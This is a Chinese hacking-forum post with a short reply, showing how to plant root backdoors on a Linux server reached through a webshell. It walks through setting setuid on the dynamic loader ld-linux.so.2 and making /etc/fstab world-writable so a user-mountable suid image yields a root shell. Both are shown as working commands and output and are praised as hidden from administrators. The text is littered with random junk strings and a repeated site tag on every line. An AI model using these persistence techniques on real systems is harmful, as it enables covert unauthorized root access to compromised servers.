webshell下LINUX提权+留后门

admin

方法一：setuid的方法，其实8是很隐蔽。看看过程:2ezX-BUG-关注前沿信息安全技术研究

5 k0 V3 C+ c7 f: K1 `2 s[root@localdomain lib]# ls -l |grep ld-linux2ezX-BUG-关注前沿信息安全技术研究
0 A+ X; Q1 S2 c, x! v. }  S- blrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
7 b7 `, R) q7 m1 r- j4 C3 }: |+ Klrwxrwxrwx 1 root root 13 2008-06-07 17:47 ld-lsb.so.3 -> ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究
[root@localdomain lib]# chmod +s ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究
2 B. a, M: i% Y[root@localdomain lib]# ls -l |grep ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
1 P( ?6 g) }1 t$ s5 g0 \( e1 ~-rwsr-sr-x 1 root root 128952 2007-10-18 04:49 ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
[root@localdomain lib]#2ezX-BUG-关注前沿信息安全技术研究
8 a9 T  [6 h! h* s3 C3 T我们这里给/lib/ld-linux.so.2这个文件（在FC8里，它指向ld-2.7.so这个文件）加了setuid属性。然后我们看怎么利用它。2ezX-BUG-关注前沿信息安全技术研究

3 [6 |- v- \! r- w9 D, M普通用户登录，测试下权限：2ezX-BUG-关注前沿信息安全技术研究
. G! Y: ]5 \. Q+ Q$ T- @* y$ u
[xiaoyu@localdomain ~]$ whoami2ezX-BUG-关注前沿信息安全技术研究
  ^! u& j: S  Z- X( Kxiaoyu2ezX-BUG-关注前沿信息安全技术研究
9 V4 C1 S8 X0 X+ Y, X  W# a[xiaoyu@localdomain ~]$ /lib/ld-linux.so.2 `which whoami`2ezX-BUG-关注前沿信息安全技术研究
7 E' m( _& W( u9 }7 n. Nroot2ezX-BUG-关注前沿信息安全技术研究
[xiaoyu@localdomain ~]$2ezX-BUG-关注前沿信息安全技术研究
恩，嘿嘿 root了吧，具体怎么生成root shell，你们自己去想吧，凡事都不要点得太透，对吧。呵呵，可以肯定的一点，/lib/ld-linux.so.2 /bin/sh肯定生成不了rootshell， bash检查euid 和uid，看是否相等...OK，不多说了。2ezX-BUG-关注前沿信息安全技术研究

; M6 J' r  W7 I5 T2 G2 O) v方法二：2ezX-BUG-关注前沿信息安全技术研究

看过程:2ezX-BUG-关注前沿信息安全技术研究
: k: A3 O3 i- W0 S5 Y! S
! T% ~: I2 z1 Y( |6 }+ E[root@localdomain etc]# chmod a+w /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
% U6 B* g7 x  X' P6 R[root@localdomain etc]#2ezX-BUG-关注前沿信息安全技术研究

! l" t7 w( F8 R. s这就留好了。此方法比较XXOXX，估计没几个管理员知道。利用方法演示下2ezX-BUG-关注前沿信息安全技术研究
7 T4 k5 o6 v8 a( Z* \
5 k. Y# F" y/ H7 o! [8 R1 d[xiaoyu@localdomain ~]$ ls -l /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
-rw-rw-rw- 1 root root 456 2008-06-07 17:28 /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
[xiaoyu@localdomain ~]$ echo 'test /mnt ext2 user,suid,exec,loop 0 0' >> /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
7 {$ Q* ?) O- m: u" x! \( {0 p
然后从本机把一个文件到目标机器上去，这里我们命名为test2ezX-BUG-关注前沿信息安全技术研究
5 V5 i  A' u, a8 Z! x
* P! ^# r+ H+ S6 C' D* g+ Y; d5 S* ~[xiaoyu@localdomain tmp]$ ls -l test2ezX-BUG-关注前沿信息安全技术研究
# u4 ~0 B' L9 X, p$ d$ H$ l-rw-rw-r-- 1 xiaoyu xiaoyu 102400 2008-04-20 02:51 test2ezX-BUG-关注前沿信息安全技术研究
/ M( N; g  P% {6 Q- Y[xiaoyu@localdomain tmp]$ mount test2ezX-BUG-关注前沿信息安全技术研究
[xiaoyu@localdomain tmp]$ cd /mnt2ezX-BUG-关注前沿信息安全技术研究
, O& W8 E, h. b& I9 u7 L[xiaoyu@localdomain mnt]$ ls -l2ezX-BUG-关注前沿信息安全技术研究
total 182ezX-BUG-关注前沿信息安全技术研究
drwx------ 2 root root 12288 2008-04-20 05:44 lost+found2ezX-BUG-关注前沿信息安全技术研究
$ Q( ^6 t4 W& g; q$ S6 s, d-rwsr-sr-x 1 root root 4927 2008-04-20 05:44 root2ezX-BUG-关注前沿信息安全技术研究
/ K0 i! B4 k, W: F1 `3 B[xiaoyu@localdomain mnt]$ ./root2ezX-BUG-关注前沿信息安全技术研究
sh-3.2#2ezX-BUG-关注前沿信息安全技术研究
看到了吧，从普通用户提升到root了。呵呵。2ezX-BUG-关注前沿信息安全技术研究
' n# o, O* O- O( \test这个文件baidu貌似木有上传功能撒，木办法传2ezX-BUG-关注前沿信息安全技术研究
$ X* u; o8 e' Q' {! z- G
* Z" g# |  Z- M2 j! y) Y. e% _3 Q7 B貌似可能有人说本地后门木啥鸟用，但是你要搞清楚：一个webshell里面就可以完成这一切....2ezX-BUG-关注前沿信息安全技术研究
, G" T2 W9 ?$ i7 {2 ?2ezX-BUG-关注前沿信息安全技术研究
* r; s$ v" n) o. S8 J3 T6 m

wuyu

谢谢分享